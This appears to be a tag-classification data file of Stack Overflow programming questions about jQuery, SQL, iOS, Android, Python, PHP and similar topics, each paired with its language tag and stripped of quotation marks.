is this proper use of jquery   i have created a tabbed display with html/css.  i simply want to use jquery to toggle the tabs/classes.  it works perfectly but i want to make sure i m using jquery properly.    here s the html structure + jquery:   <pre><code>&lt;ul id= tabs &gt; &lt;li&gt;&lt;a href= #  id= tab1  class= activetab &gt;tab1&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href= #  id= tab2 &gt;tab2&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;  &lt;div id= tabcontent &gt; &lt;div id= tab1content &gt; this is tab 1 content &lt;/div&gt; &lt;div id= tab2content &gt; this is tab 2 content &lt;/div&gt;   $( #tab1 ).click(function() {            $( #tabcontent &gt; div ).hide();            $( #tab1content ).show();            $( #tabs &gt; li a ).removeclass().addclass( inactivetab );            $( #tab1 ).removeclass().addclass( activetab );        }); </code></pre>   the jquery you see for tab1 is repeated for each tab.,jquery
get the same password for the same string  i m looking for a code to generate the same password for the string presented. like a challenge and response.    i want to do a very simple winform based on c# in which i will enter a name and get a random string that represent the password for this name.    for example: i will enter  bob   click on  generate password  and get for example  hakdn11jhfh32  (something random)  then for the name  david  i ll get another password  but when i ll enter  bob  again i will get the same password for bob before ( hakdn11jhfh32 ).    is there an easy way     i actually thought of just giving some characters for one character (like: a=8j2  5=j1mm.....) and then just do a replace for every name given. but i m hoping that there is something easier and more automatic.,c#
abpeoplepickernavigationcontroller change cancel button text to done and still call delegate method   if the text itself can t be changed and the button needs to be replaced then please also explain how to make the delegate method     <code>- (void)peoplepickernavigationcontrollerdidcancel:(abpeoplepickernavigationcontroller *)peoplepicker</code>     still get called from replacement button     any help is greatly appreciated.,ios
always build all  set at solution level  i am developing an application which uses a plugin type architecture  and i would like to change some setting at the solution level to ensure that any plugins that are contained in the solution are automatically rebuilt when changes occur in them.    here s a (simplified) version of the projects in the solution:   <ul> <li><code>common</code> has no dependencies  and contains an interface the plugins must implement  <code>iplugin</code></li> <li><code>plugin1</code>  <code>plugin2</code>  etc. are projects which have a dependency on <code>common</code>  and each contain one implementation of <code>iplugin</code>.</li> <li><code>root</code> is the startup project which has a dependency on <code>common</code>  and uses a configuration file to determine which of the plugin projects (<code>plugin1</code>  <code>plugin2</code>  etc) to load at run time. it then instantiates the type which implements <code>iplugin</code> from each plugin project.</li> </ul>   all fairly standard stuff  i m sure. the problem is that  as <code>root</code> is the startup project  any changes that occur in any of the plugin projects aren t automatically built when starting to debug the solution.    i m using the post-build events to copy across the plugin .dll files  but if i m working on a plugin  unless i remember to hit  rebuild all  before starting debugging the solution the changes i ve made aren t detected or included in the build  so won t be executed.    the closest i ve got is to include a manual call to  $(msbuildbinpath)\msbuild.exe  in the pre-build events  but that still doesn t quite address the problem - if the only changes are in the plugin projects  none of the dependencies of the <code>root</code> project have changed  so no build happens at all.    this is something that will be worked on by multiple people  so i would like something to be set <em>within the solution itself</em> which alters this build behaviour. i know that you can go to tools > options > projects and solutions > build and run and alter the  only build startup projects  option  but that is environmental; everyone who works on this solution will need to remember to change that setting  and to revert it when they move on to a different solution.,.net
javascript returning array into index[0] of return function array  completely new to javascript  attempting to do a webgl project.    here is what i am working towards in the end  the idea is to have two for loops   <pre><code>// create the vertex data for a grid to be drawn function creategrid(gl  x  y) {     var vertexbuffer;     vertexbuffer = gl.createbuffer();     gl.bindbuffer(gl.array_buffer  vertexbuffer);     var matrix= []     for(var i = 0  i &lt; x  ++i)     {         for(var j = 0  i &lt; y  ++j)         {             matrix.push(createsquare(i j))         }     }      gl.bufferdata(gl.array_buffer  new float32array(matrix)  gl.static_draw);      var grid = {buffer:vertexbuffer  vertsize:3  nverts:matrix.length  primtype:gl.triangle_strip};       return grid; } </code></pre>   i am trying to dynamically create a wall of squares essentially. i have two functions.   <pre><code>// create the vertex data for a square to be drawn function createsquare(gl  x  y) {      var square = [  x+ .5  y+ .5   0.0                      x+ -.5  y+ .5   0.0                      x+ .5 y+ -.5   0.0                      x+ -.5 y+ -.5   0.0];      return square; }   // create the vertex data for a grid to be drawn function creategrid(gl  x  y) {     var vertexbuffer;     vertexbuffer = gl.createbuffer();     gl.bindbuffer(gl.array_buffer  vertexbuffer);      var matrix= []     matrix.push(createsquare(gl x y ));      var numverts = matrix.length;      alert(matrix[0]);       gl.bufferdata(gl.array_buffer  new float32array(matrix)  gl.static_draw);     var grid = {buffer:vertexbuffer  vertsize:3  nverts:numverts  primtype:gl.triangle_strip};      return grid; } </code></pre>   what is messing me up is the line    <pre><code>matrix.push(createsquare(gl x y )); </code></pre>   i was expecting to get matrixpopulated with the same array that was created in createsquare. however  all the the items in my square object are in the first index of matrix  assuming in string format. searched and all i saw were people not having their array returned at all.    <pre><code>matrix[0] = 1.5 0.5 0 0.5 0.5 0 1.5 -0.5 0 0.5 -0.5 0 and matrix[1] = undefined </code></pre>   edit: i get it now  matrix[0] contains the array object. this is also why i tried array.concat() earlier but then i was in the same situation as others where the array didn t return at all. array.push() was the only function that returned me anything.,javascript
keyup to ignore ctrl+a (select all)  i have a text box which i want to automatically call a function when something is entered inside. i have that working with the following script but there is one annoying thing. in the textbox if i do select all (ctrl+a) it also calls the function. is it possible to modify the below script to do nothing when ctrl+a is detected   how can i achieve this     i ve tried using keydown  keypress but they don t ignore it but i found keyup works best with my application.   <pre class= lang-none prettyprint-override ><code>    $( #someid ).keyup(         function () {             callfunction();         }     ); </code></pre>,jquery
how can i make a textbox control that is multiline not be resizable   how can i make a textbox control that is multiline not be resizable     i am using asp.net with c# and i can t find an option to do this,asp.net
complex group by function for normalizing data  i have a table which has <code>dstipv4</code> and <code>pkts</code> fields. i want to calculate stdev of normalized <code>pkts</code> for each <code>dstipv4</code>. i write a query like this it but does not work — generating the error:    <pre><code>#1111 - invalid use of group function </code></pre>   how to write a correct query    <pre><code>select dstipv4  stdev((pkts-min(pkts))/(max(pkts)-min(pkts))) from flow group by dstipv4 </code></pre>,mysql
app looks different in main.storyboard than in simulator  i am learning to program in xcode 7 and swift 2. i built my app in main.storyboard  but when i run it in the simulator it looks completely different.    here are the photos so you can see what i am talking about.    main.storyboard: <a href= http://shrani.si/f/3y/12m/34bm1y0g/1.jpg  rel= nofollow >http://shrani.si/f/3y/12m/34bm1y0g/1.jpg</a>    simulator: <a href= http://shrani.si/f/1t/zz/2aklkvvt/2.jpg  rel= nofollow >http://shrani.si/f/1t/zz/2aklkvvt/2.jpg</a>    what do i need to do to make it appear the same as in the main.storyboard     thank you for any help  aleks,ios
geofencing hollow location indicator  when i added a geofencing region to monitor  my app will cause the hollow location indicator to show non-stop on the top-right corner. anyway to disable this  basically i want my app to show a notification to users when they go near certain locations in the city  but the location indicator is a bit annoying...,ios
double.tostring(2.0) is not  2.0  in java   i am working on a java project. it is a simple quadratic formula code. but when i wanted to convert my double value to a string <code>(where a=1.0  b=0 and c= -4.0 in ax^2+bx+c)</code>. my test failed. i tried to figure out what went wrong. i found out where it was and apparently <code>double.tostring(x)</code> where <code>double x=2.0</code>  did not return <code> 2.0 .  so then i tried</code>string.valueof(x)<code>  which did not work either. i then simple put</code> 2.0 ` and it passed my test cases.    where did i go wrong  or does java just hate me.    edit: wow you guys  commented so quickly. any advice will be helpful  including things not related to the original topic (repeated syntax or whatever).    note: as my story says  the only thing i changed was double.tostring(x1) to  2.0  when content was  1.0 0 -4.0  and it passed my test case.   <pre class= lang-java prettyprint-override ><code>public class quadraticformula {     public string quadraticformula(string content) {          //**           * content should be a string in the format of  a b c  or this will            * return an empty string.           * returning    will indicate that content was not correctly inputted.           * returns a string in the format of  x1 and x2  where x1 and x2 are the            * answers from the quadratic formula.           */         try {             int m=content.indexof(   );             int n=content.indexof(     m+1);             if (m==-1||n==-1) {                 return   ;             }             double a=double.parsedouble(content.substring(0 m));             double b=double.parsedouble(content.substring(m+1 n));             double c=double.parsedouble(content.substring(n+1));             if (b*b&lt;4*a*c) {                 return  imaginary ;             } else {                 double x1=(-b+math.sqrt(math.abs(b*b-4*a*c)))/(2*a);                 double x2=(-b-math.sqrt(math.abs(b*b-4*a*c)))/(2*a);                 return double.tostring(x1) +   and   + double.tostring(x2);              }         } catch (indexoutofboundsexception e) {             return   ;         } catch (nullpointerexception e) {             return   ;         } catch (numberformatexception e) {             return   ;         }            } } </code></pre>,java
how to use if else conditions in mysql  table: <code>mytable</code>   <pre><code>id  created_on            status    purchase_price_without_tax  purchase_tax 1   2015-08-07 00:00:00     1              3322.80                 5.00 1   2015-07-15 15:16:23     7              3599.00                 71.98 1   2015-07-14 15:16:23     2              3599.00                 71.98 1   2015-07-16 15:16:23     4              3599.00                 91.98 1   2015-07-17 15:16:23     5              3599.00                 21.98 </code></pre>   here is my query   <pre><code>select * from mytable   where  (if( `status` in( 1   2 )   (`status` in( 1   2 ))   (`status` in( 7 )) )  ) and id=1 </code></pre>   but not getting proper result  because i would like it to be like this:   <pre><code>where  if (`status`=1 or  `status`=2 )       then status in ( 1   2 )  else    `status`=7 </code></pre>   <strong>note</strong> : if status is 1 or 2 then it will left all other status row and select only those rows which have status 1 or 2 . if there is no rows which have status as 1 or 2  then select only those rows which have status = 7,mysql
down images from google  i want to write a sript to download the image from google. i found that there are two versions to display the images(<strong>standard version</strong>: display all the images in one page; <strong>basic version</strong>: display images to many pages  you should click the <strong>next</strong> to see next page )<br>  in <strong>standard version</strong>   it also have <strong>page n</strong> tag. but all of then be displayed in one page. then i check the source code of website. i can only find the page1-page5 images s <strong>url</strong>. how to find the rest images  <strong>url</strong>,html
how to get list of video files from phone storage  i want to get my videos from the  download  folder in phone storage and put it in my list view  but i dont know :   <ol> <li>what i should write in   like  </li> <li>what i should write in { %foldername% }</li> <li>when i should use the  %  in the below code  </li> </ol>   i ve tried  %download%  many times  but it s not working  please help me !   <pre><code>string selection=mediastore.video.media.data +  like  ;                 string[] selectionargs=new string[]{ %foldername% };                 videocursor = managedquery(mediastore.video.media.external_content_uri                          parameters  selection  selectionargs  mediastore.video.media.date_taken +   desc ); </code></pre>,android
javascript - add array of objects to existing array of objects  i have a customer with apples  i have an  <code>api controller</code> that takes an <code>object customer</code> as a parameter  and updates the existing one in the database with these new apples:    <pre><code>[httpput( update )]     public async void put([frombody]customer customer)     {         await _repository.updatecustomer(customer);     } </code></pre>   using javascript  i want to add these new apples to my current <code>list</code> of apples in the customer. from reading on so it should look something like:   <pre><code>addapplestocustomer_method: function () {         var updatedcustomer = this.currentcustomer;         array.prototype.push.apply(updatedcustomer.apples  this.selectedapples);          $.ajax({             url:  api/customer/update               type:  put               contenttype:  application/json               data: json.stringify({                 customer: updatedcustomer             })              success: function () {                 alert( success );             }              error: function (jqxhr  textstatus  errorthrown) {                 alert( error:   + textstatus +  \n  + errorthrown);             }         });     } </code></pre>   <code>currentcustomer</code> is the customer we want to update. <code>selectedapples</code> is the new <code>list</code> of apples we want to add to our customers existing <code>array</code> of apples.    the above however does not even run since i added the <code>array.prototype.push.apply(updatedcustomer.apples  this.selectedapples)</code> but it doesnt give me an error either. just nothing happens. if i go back to sending the customer and apples seperately to my controller it works  but i don t want to do that.,javascript
how to auto post articles/data one site to another using php  i have wordpress multisite environment where when i post some article/page  it should auto post  to another website which not related wordpress   where i shold able to see the post which i posted  in wordpress so that the entry will reduce and as well the way if i posted any post/data in should  post to wordpress as well   like by demensional process.    i have tried like below please suggest me better way    <pre><code>&lt; php $xml=simplexml_load_file( 4634469.xml ); //print_r($xml);  /// here will be the multisite request; $title=$xml-&gt;headline; $summary=$xml-&gt;summary; $publisheddate=$xml-&gt;publisheddate; $mainimagefilename=$xml-&gt;mainimagefilename; $body=$xml-&gt;body; $att = $xml-&gt;attributes(); $articleid =$att[ id ]; $articleurl =$att[ urlnode ];   $site_name=  ;  foreach( $xml-&gt;xpath(  //site ) as $site) {      $attributes = $site-&gt;attributes();     echo $attributes[ id ] .  \n ;      $site_name=$site-&gt;name;     echo $res_pic_id=insert_picture($xml-&gt;mainimagefilename $site_name);      $term_ids=  ;     $sayac=1;     foreach( $xml-&gt;xpath(  //location ) as $location) {          $full_amount=count($xml-&gt;xpath(  //location ));         $location_detail=taxonomy_request($location-&gt;name $site_name);          if($sayac==$full_amount){             $term_ids.=$location_detail;          }else{             $term_ids.=$location_detail.   ;          }        $sayac++;     }     $post_details = array(          title  =&gt; $title           summary  =&gt; $summary           publisheddate  =&gt; $publisheddate           mainimagefilename  =&gt; $mainimagefilename           body  =&gt; $body           post_id  =&gt; $articleid           urlnode  =&gt; $articleurl           picture_id  =&gt; $res_pic_id           location  =&gt; $term_ids     );     echo insert_post($post_details $site_name); }  $res_pic_id=0;  ////// //inserting the article iamge //////  function insert_picture($picture_url $site_name){    if($site_name== mmm ){     $site_url= # ;   } else if($site_name== rrrr ){     $site_url= # ;   }     $curl = curl_init();   $data= file_get_contents($picture_url);   curl_setopt_array($curl  array(   /   curlopt_url =&gt; $site_url. wp-json/wp/v2/media      curlopt_returntransfer =&gt; true    curlopt_encoding =&gt;       curlopt_maxredirs =&gt; 10    curlopt_timeout =&gt; 30    curlopt_http_version =&gt; curl_http_version_1_1    curlopt_customrequest =&gt;  post     curlopt_httpheader =&gt; array(      authorization: basic  . base64_encode( test:test ).         cache-control: no-cache        content-disposition: attachment; filename=test.png        content-type: image/png     )      curlopt_postfields =&gt; $data    ));    $response = curl_exec($curl);   $err = curl_error($curl);   $resim_id=  ;   if ($err) {     echo  curl error #:  . $err;   } else {      $response = json_decode($response  true);     //var_dump($response);      //echo $response[ id ];     $resim_id=$response[ id ];   }   return $resim_id; } function insert_post($post_details $site_name){      if($site_name== mmm ){         $site_url= # ;     }else if($site_name== rrr ){         $site_url= # ;     }      $curl = curl_init();      $post = array(      title =&gt;$post_details[ title ]       content =&gt;$post_details[ body ]       status =&gt; publish        slug =&gt;$post_details[ urlnode ]      // tags =&gt;12      // topic =&gt;189       location =&gt;$post_details[ location ]      // category =&gt;121       featured_media =&gt;$post_details[ picture_id ]     );      curl_setopt_array($curl  array(       curlopt_url =&gt; $site_url. wp-json/wp/v2/posts/          curlopt_returntransfer =&gt; true        curlopt_encoding =&gt;           curlopt_maxredirs =&gt; 10        curlopt_timeout =&gt; 30        curlopt_http_version =&gt; curl_http_version_1_1        curlopt_customrequest =&gt;  post         curlopt_httpheader =&gt; array(          authorization: basic  . base64_encode( test:test ).           )        curlopt_postfields =&gt; $post      ));      $response = curl_exec($curl);     $err = curl_error($curl);      if ($err) {       $response=$err;     } else {       $response;     } return $response; } ////// //searching the taxonomy  ////// $taxonomy_id=  ; function taxonomy_request($taxonomy_name $site_name){      $taxonomy_name = str_replace(      %20   $taxonomy_name);      $site_name_url=  ;     if($site_name== mmm ){         $site_name_url= mmm ;     }else if($site_name== rrr ){         $site_name_url= rrr ;     }      $curl = curl_init();     $site_url= # .$site_name_url. # .$taxonomy_name;      curl_setopt_array($curl  array(       curlopt_url =&gt; $site_url         curlopt_returntransfer =&gt; true        curlopt_encoding =&gt;           curlopt_maxredirs =&gt; 10        curlopt_timeout =&gt; 30        curlopt_http_version =&gt; curl_http_version_1_1        curlopt_customrequest =&gt;  get         curlopt_httpheader =&gt; array(          authorization: basic  . base64_encode( test:test ).          )      ));     $response = curl_exec($curl);     $err = curl_error($curl);      if ($err) {       $response=$err;     } else {       $response;     }     $response = json_decode($response  true);      $taxonomy_id=$response[ term_id ];  return $taxonomy_id; }  &gt; </code></pre>,php
sql: show only those variables which contains a minus (-)  i ve about 1170 records with 7 variables var1  var2  .... var7 and all these vars containing a + or -. the following is what i want: return only those vars per row which contains -    i.e. row 2 : var2 and var4 contains a -  show id row 2 and var2 and var4    i.e. row 4 : var1  var5 and var6 contains a -  show id row 4 and var1  var5 and var6,mysql
better way to access super class method in multiple inheritance <pre><code>class animal(object):     def eat(self):         print( i eat all )  class c(object):     def eat(self):         print( i too eat )  class wolf(c  animal):     def eat(self):         print( i am non veg )         super(wolf  self).eat()         animal.eat(self)  w = wolf() w.eat() </code></pre>   i am learning multiple inheritance in python  i want to access <code>animal</code> and <code>c</code> method <code>eat</code> from derived class using <code>super</code> method.    default call of <code>super</code> inside calls <code>c</code>  class method <code>eat</code>  but to call <code>animal</code> class method i used <code>animal.eat(self)</code> .my question is how can i call <code>animal</code> class method using <code>super</code> method.,python
change button text using <selector>  i am using selector to change color of button. and i was trying to do same with text property. is it possible to change text in such way,android
most recent date with multiple providers  below is my data:   <pre><code>medicalrecordnumber edcdate wk  lastappt    facility    provider ----------------------  ----------  -----   ----------------------  --------------- ------------------------ 255599  10/9/2014   37  3/8/2014 0:00   women s health  prenatal registration 255599  10/9/2014   37  6/12/2014 0:00  women s health  tarcia 255599  10/9/2014   37  9/4/2014 0:00   women s health  beaven </code></pre>   this is the sql i m using:   <pre><code>select a.ownerid  p.patientprofileid  p.searchname     max(a.emrapptstart) as lastappt  f.listname as facility  d.listname as provider from appointments a   left join patientprofile p on p.patientprofileid= a.ownerid   inner join doctorfacility f on f.doctorfacilityid = a.facilityid   inner join doctorfacility d on d.doctorfacilityid = a.resourceid where a.facilityid in ( 127   64 ) and p.medicalrecordnumber =  00255599  and a.status in ( completed   arrived ) group by a.ownerid p.patientprofileid  p.searchname f.listname  d.listname </code></pre>   i am trying to get the most recent date and the provider they saw  when i don t include the provider in the group by  i get the results i need  see below:   <pre><code>select a.ownerid  p.patientprofileid as mrn  p.searchname     max(a.emrapptstart) as lastappt  f.listname as facility from appointments a   left join patientprofile p on p.patientprofileid= a.ownerid   inner join doctorfacility f on f.doctorfacilityid = a.facilityid   inner join doctorfacility d on d.doctorfacilityid = a.resourceid where a.facilityid in ( 127   64 ) and p.medicalrecordnumber =  00255599  and a.status in ( completed   arrived ) group by a.ownerid p.patientprofileid  p.searchname f.listname  mrn lastappt    facility ----------  --------------  -------------------- 255599  9/4/2014 0:00   women s health </code></pre>   if i include the provider in my select statement  i get an error if i don t include it in the group by clause.  any ideas,sql
am i able to fetch several strings from mysql db as a single  glued  string   let s say i have a table containing user names and cities:   <ul> <li>john | new york</li> <li>aaron | new york</li> <li>george | dallas</li> <li>low | dallas</li> <li>john | dallas</li> <li>young | dallas</li> </ul>   and i want to have a array as the following:   <pre><code>[ new york ] =&gt;  john  aaron   [ dallas ] =&gt;  george  low  john  young  </code></pre>   so i think i need to concatenate strings within group operator.    is there any solution,mysql
about cgrectmake  this will sound extremely silly and stupid  but i have touched a couple languages and they kind of messed up my sense of.... orientation or something:    in objective-c  you can use cgrectmake(x y w h) to make a rect. cool.    so x y set the... top left corner of the rect  or.... the center of the rect,objective-c
uiview animation not working when pressed back button  i have 2 view controller. the first view controller contained 1 uiview with animation once the view controller is execute and a button  proceed . the 2nd view controller only contain 1 button which is  back  button.     situation:    when clicked on execute the uiview was animate well  after that proceed to 2nd view controller. when clicked on  back  button on 2nd view controller and it dismiss and back to 1st view controller  the uiview not perform animation anymore.    <pre><code>-(void)viewdidappear:(bool)animated {     [super viewdidappear:animated];      [uiview beginanimations:nil context:null];     [uiview setanimationduration:1.0];     [uiview setanimationdelegate:self];     [self.mainv setframe:cgrectmake(10 370  285  73)];     [uiview commitanimations]; } </code></pre>,ios
how can i replace eval   how can i replace eval  i was reading a lot of information about bad experience using it   <pre><code> class vahicle():     def move(class):          cl = eval(class)          # i need to use car as class here  class car(vehicle):     def __init__(self):            pass     def movement():         name = self.class.name         move(self  name) </code></pre>,python
java.lang.nullpointerexception context.getsharedpreferences  i call <code>notification n = new notification(getcontext());</code> in fragment     <pre><code>@override public void setmenuvisibility(final boolean visibility) {     super.setmenuvisibility(visibility);      if (visibility) {          notification n = new notification(getcontext());          if (n.getnewnotificationscount() &gt; 0) {             n.setnotificationsasseen();             n.setnewnotificationscount(0);         }     }  } </code></pre>   and get <code>nullpointerexception</code>    here is notification.class loader   <pre><code>public notification(context context) {     this.context = context;     pref = context.getsharedpreferences(notification_settings_pref_name  private_mode);//here is error (nullpointerexception)     editor = pref.edit(); } </code></pre>,android
detection of height doesn t work  i have this simple script:   <pre><code>var o = document.getelementbyid( content );  if (o.clientheight ==  372 ) {   o.style.height =  328px ;   o.style.marginbottom =  44px ;  } else {   o.style.height =  214px ;   o.style.marginbottom =  32px ; } </code></pre>   but somehow the else always executes  even if the initial height of my div is 372px... can anyone help me,javascript
how to compute the position of an object after free falling for 10 seconds  i m given this basic code:   <pre><code>public class gravitycalculator {     public static void main(string[] args) {         double gravity = -9.81; //earth s gravity in m/s^2         double initialvelocity = 0.0;         double fallingtime = 10.0;         double initialposition = 0.0;         double finalposition = 0.0;         system.out.println( the object s position after   + fallingtime +   seconds is   + finalposition+  m );         // the output is the object s position after 10.0 seconds is 0.0m     } } </code></pre>   and i m told to modify the program to compute the position of an object falling for 10 seconds  using this formula:   <pre><code>x(t) = 0.5 * at^2 + v(t) + x a = acceleration = -9.81 m/s t = time (in seconds) = 10 v = initial velocity x = initial position </code></pre>   i ve tried and tried but the answer i get is <code>4811.805000000001</code>  but apparently the correct answer is <code>-490.5m</code>.    this is my attempt:   <pre><code>public class gravitycalculator2 {     public static void main(string[] args) {         double gravity = -9.81;         double fallingtime = 10;         double initialvelocity = 0.0;         double initialposition = 0.0;         double x;         x = (0.5 * ((gravity * fallingtime) * (gravity * fallingtime))              + (initialvelocity * fallingtime) + (initialposition));         system.out.println(x);     } } </code></pre>   what did i do wrong,java
jquery insert a table row after the selected table row  i am trying to insert a table row after the row the user has selected:    here is the fiddle:    <a href= http://jsfiddle.net/tonymaloney1971/ykxgy6dj/2/  rel= nofollow >http://jsfiddle.net/tonymaloney1971/ykxgy6dj/2/</a>    so  if the user selects product 0  we insert a new  after product 0.    at the moment i am trying insertafter but it is deleting the next table row     $( #tablebody tr ).on( click   button   function() {             var insertdata =  <ul><li>q</li><li>w</li><li>e</li><li>r</li><li>y</li></ul> ;             var insertafter = $(this).closest( tr );   <pre><code>        if($(this).text()  == + )         {             $(this).text( - );             //i would like to insert a new table row underneath the current selected table row              insertafter.insertafer(insertdata);         }         else         {             $(this).text( + );         }     });       </code></pre>   thanks,jquery
appearing and disappearing in jquery  i want to create two new methods for jquery that makes appear and disappear objects. i dont want to use the jquery methods <code>show()</code> and <code>hide()</code> (neither <code>fadein()</code> or <code>fadeout()</code>) because :   <ul> <li>the effect is not gradual</li> <li>when a <code>div</code> <code>hides</code>  then the object is not present anymore in the page and all the other <code>div</code> move. </li> </ul>   my code does not work : objects disappear but don t appear.    any clue     <pre><code>jquery.fn.disappear = function() {     this.fadeto( slow   0  function() {     this.css( visibility    hidden ); }); }; </code></pre>   and   <pre><code>jquery.fn.appear = function() {      this.css( visibility    visible );      this.fadeto( slow   1); }; </code></pre>,jquery
how to link option tags by name to a javascript if statement  i ve been having some trouble coding one part of a webpage i am writing. the code looks something like this:   <blockquote>    form name = dropdown        select        option name =  normalone  /option        option name =  normaltwo  /option        /select   /form  </blockquote>   then:   <blockquote>    if (document.dropdown.normalone.selected == true) {        window.alert( drop down menu works );        }  </blockquote>   unfortunately  this does not work. what do i do,html
using a bootstrap theme - adding jquery external library  i m using a theme downloaded from the internet  this theme using bootstrap and jquery and everything was working fine till i tried to add an external jquery library to make advanced html select lists.    i tried to use many but let s take this one for example: <a href= https://select2.github.io/  rel= nofollow >https://select2.github.io/</a>    i m trying to normally include the css and js files into my code   <pre><code>&lt;link href= //cdnjs.cloudflare.com/ajax/libs/select2/4.0.0-rc.2/css/select2.min.css  rel= stylesheet  /&gt; &lt;script src= //cdnjs.cloudflare.com/ajax/libs/select2/4.0.0-rc.2/js/select2.min.js &gt;&lt;/script&gt; </code></pre>   and start activating and using the script but it dose not look like it s working at all.    here is what my default header includes looks like:   <pre><code>    &lt;link href= css/flags/famfamfam-flags.css  rel= stylesheet &gt;     &lt;link href= css/bootstrap.css  rel= stylesheet &gt;     &lt;link href= http://netdna.bootstrapcdn.com/font-awesome/4.0.3/css/font-awesome.min.css  rel= stylesheet &gt;     &lt;link href= css/themecss/revolution-slider.css  rel= stylesheet &gt;         &lt;link href= css/themecss/lightbox.css  rel= stylesheet &gt;          &lt;link href= css/themecss/animate.css  rel= stylesheet &gt;     &lt;link href= css/custom.css  rel= stylesheet &gt;     &lt;link href= css/colors/color-default.css  rel= stylesheet &gt; &lt;link href= http://fonts.googleapis.com/css family=raleway:400 100 200 300 500 600 700 800 900  rel= stylesheet  type= text/css &gt; </code></pre>   and here is what my foorter includes looks like:   <pre><code>&lt;script src= http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js &gt;&lt;/script&gt; &lt;script src= js/bootstrap.min.js &gt;&lt;/script&gt; &lt;script src= js/themejs/jquery.smartmenus.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= js/themejs/jquery.stellar.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= js/themejs/smoothscroll.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= js/themejs/jquery.waypoints.min.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= js/themejs/jquery.lightbox.min.js  type= text/javascript &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/themejs/jquery.montage.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/themejs/jquery.caroufredsel-6.2.1-packed.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/themejs/helper-plugins/jquery.mousewheel.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/themejs/helper-plugins/jquery.touchswipe.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/themejs/helper-plugins/jquery.transit.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/themejs/helper-plugins/jquery.ba-throttle-debounce.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/revolutionjs/jquery.themepunch.plugins.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/revolutionjs/jquery.themepunch.revolution.min.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/themejs/jquery.flexslider.js &gt;&lt;/script&gt; &lt;script src= js/themejs/jquery.easypiechart.min.js &gt;&lt;/script&gt; &lt;script src= js/themejs/jquery.tooltipster.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= https://maps.googleapis.com/maps/api/js v=3.exp&amp;amp;sensor=false&amp;amp;.js &gt;&lt;/script&gt; &lt;script type= text/javascript  src= js/themejs/timecircles.js &gt;&lt;/script&gt; &lt;script src= js/themejs/tweetie.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= js/themejs/jquery.nouislider.min.js  type= text/javascript &gt;&lt;/script&gt; &lt;script src= js/themejs/application.js &gt;&lt;/script&gt; </code></pre>   wherever i try to put the new css include and js include in the header and footer it never want to work  also when i want to activate it by jquery code like this:   <pre><code>&lt;script type= text/javascript &gt;   $( select ).select2(); &lt;/script&gt; </code></pre>   please i need your help to make these external libraries work on these ready built themes. i really don t know what is the problem.    i m ready to provide any other information related to my theme or structure.    thanks guys in advance :),jquery
iterate through dynamic object with different types and edit values  so i have a static method that returns a compiled string. the method gets an anonymous object:   <pre><code>var data = new {one = 12.334  two = 235  three = {23  34  43}}; </code></pre>   and the static method result should iterate through each value and round the decimals up with:   <pre><code>math.round(num  1); </code></pre>   but i can t seem to find a way to iterate the anonymous object. i want the object to be of type dynamic for easy access when writing to console  but i don t seem to be able to iterate the dynamic object either. i need a way to round up all the values of type double.   <pre><code>public static string result(object data) {     dynamic x = data;  // iterate through each value and mathround here      string compiled = $ test1: {x.one};test2: {x.two};test3: {x.three} ;      return compiled; } </code></pre>   foreach-method with the dynamic object just throws this error:   <pre><code>cannot implicitly convert type  &lt;&gt;f__ anonymoustype0&lt;double int int[]&gt;  to  system.collections.ienumerable  </code></pre>   and foreach-method with the anonymous object throws this:   <pre><code>foreach statement cannot operate on variables of type  object  because  object   does not contain a public definition for  getenumerator </code></pre>   i m a new learner of c#  so i apologize if the terminology is unclear. do anyone know how to fix this,c#
like query performance on medium table (~3m records)  i have a small problem. i have a table of about 3m cities  and i need to run a <code>like</code> query on it.     the thing is  it takes about 9s to complete the query. any ideas how i could make it very fast     the query is:   <pre><code>select * from `cities` where name like  %test%  </code></pre>,mysql
handling timeout error(python) <pre><code>import multiprocessing.pool import functools import time import sys def timeout(max_timeout):     def timeout_decorator(item):         @functools.wraps(item)         def func_wrapper(*args  **kwargs):             pool = multiprocessing.pool.threadpool(processes=1)             async_result = pool.apply_async(item  args  kwargs)             return async_result.get(max_timeout)         return func_wrapper     return timeout_decorator </code></pre>   i got this code from se. this raises the timeout error from system level. how could i handle this error and do something else when error pops up    please note am a newbie in python. thanks in advance,python
mysql if statement procedure creation error  why won t this run  complains of error when i try to create the procedure.   <pre><code>create procedure `xxx_testif` (   in _memberid int ) begin if _memberid = 0     select * from incident_report else     select * from incident_report where filed_by = _memberid end if; end </code></pre>,mysql
using has_many through associations in rails 4  i m trying to create a few simple relations in my rails 4 application. i have three models: <strong>user</strong>  <strong>list</strong>  <strong>word</strong>.    this is for a simple  list  application  where each user has_many words through lists.     i currently have the following associations...    user model:   <pre><code>class user &lt; activerecord::base     has_many :words through :lists end </code></pre>   list model:   <pre><code>class list &lt; activerecord::base     has_many :words     belongs_to :user end </code></pre>   word model:   <pre><code>class word &lt; activerecord::base     belongs_to :list end </code></pre>   i m not sure how to create the relationships through the console. for example...   <pre><code>&gt;   user = user.create(name:  kyle ) &gt;   list = list.create(name:  list one ) &gt;   word = word.create(word:  stackoverflow ) &gt; &gt;   list.push(word)     # add word to list &gt;   user.push(list)     # add list to user </code></pre>   can someone please give an example on how to correctly create these associations.,ruby-on-rails
